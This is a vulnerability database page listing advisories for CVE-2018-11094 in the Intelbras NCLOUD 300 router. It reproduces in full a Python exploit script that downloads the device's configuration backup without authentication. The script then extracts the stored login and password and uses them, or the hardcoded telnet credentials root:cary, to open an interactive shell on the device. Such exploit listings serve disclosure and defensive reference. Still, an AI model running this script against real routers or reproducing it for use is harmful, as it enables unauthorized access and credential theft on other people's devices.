| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| Intelbras NCLOUD 300 1.0 - Authentication bypass Exploit | 17 May 201800:00 | – | zdt | |
| Intelbras NCLOUD 300 Denial of Service Vulnerability | 17 May 201800:00 | – | cnvd | |
| CVE-2018-11094 | 15 May 201819:00 | – | cve | |
| CVE-2018-11094 | 15 May 201819:00 | – | cvelist | |
| Intelbras NCLOUD 300 1.0 - Authentication bypass | 17 May 201800:00 | – | exploitpack | |
| CVE-2018-11094 | 15 May 201819:29 | – | nvd | |
| Intelbras NCLOUD 300 Router Authentication Bypass Vulnerability | 17 May 201800:00 | – | openvas | |
| Intelbras NCLOUD 300 1.0 Authentication Bypass | 17 May 201800:00 | – | packetstorm | |
| Authentication flaw | 15 May 201819:29 | – | prion |
# coding: utf-8
# Exploit Title: Intelbras NCloud Authentication bypass
# Date: 16/05/2018
# Exploit Author: Pedro Aguiar - [email protected]
# Vendor Homepage: http://www.intelbras.com.br/
# Software Link: http://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/roteadores/ncloud
# Version: 1.0
# Tested on: Linux
# CVE : CVE-2018-11094
# Description: As described here: https://blog.kos-lab.com/Hello-World/ the Ncloud 300 device does not properly
# enforce authentication, allowing an attacker to remotely download the configurations backup ('/cgi-bin/ExportSettings.sh').
# The configurations backup file contains the web interface username and password.
# Also, there are hardcoded credentials in the telnet service (root:cary), in cases where root user does not exist,
# it was replaced by the web interface credentials. This exploit downloads the backup file and tries to use the credentials
# to log into the device using telnet.
import sys
import requests
import telnetlib
import re
def help():
print 'Usage: '
print 'python exploit.py http://192.168.0.1'
def pop_shell(host, user, password):
if(user == "root"):
print '[+] Trying default credentials: root:cary'
else:
print '[+] Trying credentials obtained from /cgi-bin/ExportSettings.sh'
with open('NCLOUD_config.dat', "r") as f:
content = f.read()
user = content.split("Login=")[1].split("\n")[0]
password = content.split("Password=")[1].split("\n")[0]
#print 'User: '+ user
#print 'Password: '+ password
f.close()
try:
ip = re.findall( r'[0-9]+(?:\.[0-9]+){3}', host)[0]
tn = telnetlib.Telnet(ip, 23, timeout=10)
tn.expect(["WORKGROUP login:"], 5)
tn.write(user + "\r\n")
tn.expect(["Password:"], 5)
tn.write(password + "\r\n")
i = tn.expect(["Login incorrect"], 5)
if i[0] != -1:
raise ValueError('[-] Wrong credential')
tn.write("cat /proc/cpuinfo\r\n")
tn.interact()
tn.close()
except Exception as e:
print e
if(user == "root"):
pop_shell(host, 'try', 'again')
def exploit(host):
print '[*] Connecting to %s' %host
path = '/cgi-bin/ExportSettings.sh'
payload = 'Export=Salvar'
response = requests.post(host + path, data=payload)
response.raise_for_status()
if(response.status_code == 200 and "Login=" in response.text):
print '[+] Config download was successful'
print '[+] Saving backup file to NCLOUD_config.dat'
with open('NCLOUD_config.dat', "w") as f:
f.write(response.text)
f.close()
pop_shell(host, "root", "cary")
def main():
if len(sys.argv) < 2 or not sys.argv[1].startswith('http://'):
help()
return
host = sys.argv[1]
exploit(host)
if __name__ == '__main__':
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation